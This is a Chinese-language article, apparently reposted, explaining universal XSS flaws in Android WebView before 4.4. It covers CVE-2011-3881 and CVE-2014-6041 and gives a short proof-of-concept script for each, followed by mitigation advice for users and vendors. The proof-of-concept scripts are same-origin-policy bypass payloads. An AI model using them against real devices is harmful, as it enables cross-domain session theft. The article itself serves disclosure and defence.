Android安全之WebViewUXSS漏洞

Android安全之WebViewUXSS漏洞javascript

  • 0X01 前言php

XSS是咱們比較熟悉的一種攻擊方式,包括存儲型XSS、反射型XSS、DOM XSS等,但UXSS(通用型XSS)另一種不一樣的漏洞類型,主要體如今漏洞的載體和影響範圍上。
XSS問題源於某一個WEB站點或應用存在安全問題,但受同源策略的約束,攻擊者只能訪問存在漏洞的站點的回話信息,沒法訪問其餘域的回話信息。
UXSS則主要源於瀏覽器或瀏覽器擴展程序的安全缺陷,不須要網站自己存在漏洞也能夠觸發漏洞,攻擊者能夠獲取到瀏覽器打開和緩存的全部頁面(不一樣域)的會話信息,所以UXSS漏洞的殺傷力極強。
因爲Google把WebKit移植到了Android上,並將其做爲WebView組件封裝在SDK中,但一些以前出如今PC版chrome的WebKit漏洞在SDK中並未修復,所以歷史的悲劇在android上再一次上演:
 圖片描述
 
相關漏洞能夠上https://bugs.chromium.org/p/c...搜索。下文介紹幾個對應的漏洞。
 java

  • 0X02 CVE-2011-3881android

WebKit, as used in Google Chrome before 15.0.874.102 and Android before 4.4, allows remote attackers to bypass the Same Origin Policy and conduct Universal XSS (UXSS) attacks via vectors related to
(1) the DOMWindow::clear function and use of a selection object,
(2) the Object::GetRealNamedPropertyInPrototypeChain function and use of an proto property,
(3) the HTMLPlugInImageElement::allowedToLoadFrameURL function and use of a javascript: URL,
(4) incorrect origins for XSLT-generated documents in the XSLTProcessor::createDocumentFromSource function, and
(5) improper handling of synchronous frame loads in the ScriptController::executeIfJavaScriptURL function.web

該漏洞主要因爲HTMLPlugInImageElement::allowedToLoadFrameURL函數中對Javascript URL地址校驗不足,對源檢測不全致使的跨域問題:
POC:chrome

<script>window.onload = function(){
    object = document.createElement("object");
    object.data = "http://google.com/";
    document.body.appendChild(object);
    object.onload = function() {
    object.data = "javascript:alert(document.body.innerHTML)";
    object.innerHTML = "foo";
    }
}</script>

 

  • 0X03 CVE-2014-6041跨域

The Android WebView in Android before 4.4 allows remote attackers to bypass the Same Origin Policy via a crafted attribute containing a u0000 character, as demonstrated by an onclick="window.open ('\u0000javascript:  sequence to the Android Browser application 4.2.1 or a third-party web browser.
 
因爲不少廠商都是直接使用系統自帶的WebView,這將該漏洞的影響進一步擴大化,導致當時不少主流的應用紛紛中槍。
POC:瀏覽器

<input type=button value="test" onclick="
  a=document.createElement('script');
  a.id='AA';
  a.src='\u0000https://js.stripe.com/v2/';
  document.body.appendChild(a);
  setTimeout(function(){if(typeof(document.getElementById('AA'))!=='undefined'){alert(Stripe);}
else{alert(2);}}, 400);
return false;">

 

  • 0X04 檢測緩存

這類漏洞能夠經過御安全動態的方式進行自動化的檢測,相關檢測樣例能夠從https://bugs.chromium.org/p/c...(bugid)中查詢到。
 安全

  • 0X05 安全建議

前面提到的這些UXSS漏洞都已經在Android 4.4中修復,同時它也提供了自動升級webkit的功能,以便及時修復漏洞。
 
用戶:
1)        儘可能採用最新版的Android系統
2)        儘可能不要隨意點擊安全性未知的連接
廠商:
1)        客戶端使用onPageStarted (WebView view, String url, Bitmap favicon)方法在跳轉前進行跨域判斷
2)        使用最新的Webkit內核,但APK的size會變大,而且後續須要跟進Google Webkit官方進行更新。
3)        客戶端對iframe object標籤屬性進行過濾
4)    按期使用漏洞工具檢測(如御安全的漏洞庫將根據市場出現的樣本同步更新)

 

  • 0X06 參考

http://drops.wooyun.org/tools...
https://bugs.chromium.org/p/c...
https://security.tencent.com/... 騰訊御安全技術團隊

相關文章
相關標籤/搜索